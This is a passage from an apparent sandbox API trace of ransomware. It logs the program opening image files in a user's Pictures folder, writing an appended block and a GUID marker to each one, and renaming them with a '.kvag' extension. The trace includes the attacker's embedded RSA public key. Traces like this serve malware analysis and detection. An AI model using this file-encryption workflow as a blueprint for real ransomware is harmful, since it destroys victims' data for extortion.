KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.899] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607be0) returned 1 [0119.900] CryptCreateHash (in: hProv=0x3607be0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.900] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.900] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.900] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.900] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.900] CryptReleaseContext (hProv=0x3607be0, dwFlags=0x0) returned 1 [0119.900] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.900] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.900] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.901] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0119.901] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x186f8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.901] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.902] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.902] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.902] CloseHandle (hObject=0x61c) returned 1 [0119.903] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\bEXqr-0RskHd.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\bexqr-0rskhd.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\bEXqr-0RskHd.bmp.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\bexqr-0rskhd.bmp.kvag")) returned 1 [0119.918] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3222dc40, ftCreationTime.dwHighDateTime=0x1d4d38a, ftLastAccessTime.dwLowDateTime=0x702dca70, ftLastAccessTime.dwHighDateTime=0x1d4d35f, ftLastWriteTime.dwLowDateTime=0x702dca70, ftLastWriteTime.dwHighDateTime=0x1d4d35f, nFileSizeHigh=0x0, nFileSizeLow=0x9955, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="C7F4 Wc1xIRcM1R.bmp", cAlternateFileName="C7F4WC~1.BMP")) returned 1 [0119.918] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\C7F4 Wc1xIRcM1R.bmp") returned=".bmp" [0119.918] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\C7F4 Wc1xIRcM1R.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\c7f4 wc1xircm1r.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.919] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=39253) returned 1 [0119.919] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.921] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x992f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.921] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.923] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x9955, lpOverlapped=0x0) returned 1 [0119.924] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.924] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.924] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.924] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607e88) returned 1 [0119.924] CryptCreateHash (in: hProv=0x3607e88, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.925] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.925] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.925] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.925] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.925] CryptReleaseContext (hProv=0x3607e88, dwFlags=0x0) returned 1 [0119.925] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.925] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.925] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.925] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0119.925] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x9955, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.925] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.926] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.926] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.926] CloseHandle (hObject=0x61c) returned 1 [0119.927] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\C7F4 Wc1xIRcM1R.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\c7f4 wc1xircm1r.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\C7F4 Wc1xIRcM1R.bmp.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\c7f4 wc1xircm1r.bmp.kvag")) returned 1 [0119.928] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7dcf5dc0, ftCreationTime.dwHighDateTime=0x1d4d557, ftLastAccessTime.dwLowDateTime=0xa70539c0, ftLastAccessTime.dwHighDateTime=0x1d4cf5e, ftLastWriteTime.dwLowDateTime=0xa70539c0, ftLastWriteTime.dwHighDateTime=0x1d4cf5e, nFileSizeHigh=0x0, nFileSizeLow=0x1be9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cq3m_40ULsX.bmp", cAlternateFileName="CQ3M_4~1.BMP")) returned 1 [0119.928] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Cq3m_40ULsX.bmp") returned=".bmp" [0119.928] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Cq3m_40ULsX.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\cq3m_40ulsx.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.929] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=7145) returned 1 [0119.929] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.931] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x1bc3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.931] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.932] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x1be9, lpOverlapped=0x0) returned 1 [0119.935] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.935] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.935] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.935] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607be0) returned 1 [0119.936] CryptCreateHash (in: hProv=0x3607be0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.936] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.936] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.936] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.936] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.936] CryptReleaseContext (hProv=0x3607be0, dwFlags=0x0) returned 1 [0119.936] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.936] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.937] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.937] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0119.937] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x1be9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.937] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.937] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.937] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.937] CloseHandle (hObject=0x61c) returned 1 [0119.938] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Cq3m_40ULsX.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\cq3m_40ulsx.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Cq3m_40ULsX.bmp.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\cq3m_40ulsx.bmp.kvag")) returned 1 [0119.940] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b0c0960, ftCreationTime.dwHighDateTime=0x1d4cd93, ftLastAccessTime.dwLowDateTime=0x569d3220, ftLastAccessTime.dwHighDateTime=0x1d4d31a, ftLastWriteTime.dwLowDateTime=0x569d3220, ftLastWriteTime.dwHighDateTime=0x1d4d31a, nFileSizeHigh=0x0, nFileSizeLow=0x8f02, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="d fvuJCkm tkxAy.bmp", cAlternateFileName="DFVUJC~1.BMP")) returned 1 [0119.940] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\d fvuJCkm tkxAy.bmp") returned=".bmp" [0119.940] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\d fvuJCkm tkxAy.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\d fvujckm tkxay.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.940] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=36610) returned 1 [0119.940] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.942] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x8edc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.942] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.944] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x8f02, lpOverlapped=0x0) returned 1 [0119.944] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.944] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.944] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.944] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607e88) returned 1 [0119.945] CryptCreateHash (in: hProv=0x3607e88, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.945] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.945] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.945] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.945] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.945] CryptReleaseContext (hProv=0x3607e88, dwFlags=0x0) returned 1 [0119.945] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.945] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.946] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.946] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0119.946] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x8f02, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.946] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.946] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.946] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.947] CloseHandle (hObject=0x61c) returned 1 [0119.947] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\d fvuJCkm tkxAy.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\d fvujckm tkxay.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\d fvuJCkm tkxAy.bmp.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\d fvujckm tkxay.bmp.kvag")) returned 1 [0119.949] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0119.949] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\desktop.ini") returned=".ini" [0119.949] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9d68cd0, ftCreationTime.dwHighDateTime=0x1d4cced, ftLastAccessTime.dwLowDateTime=0x51eb45e0, ftLastAccessTime.dwHighDateTime=0x1d4c600, 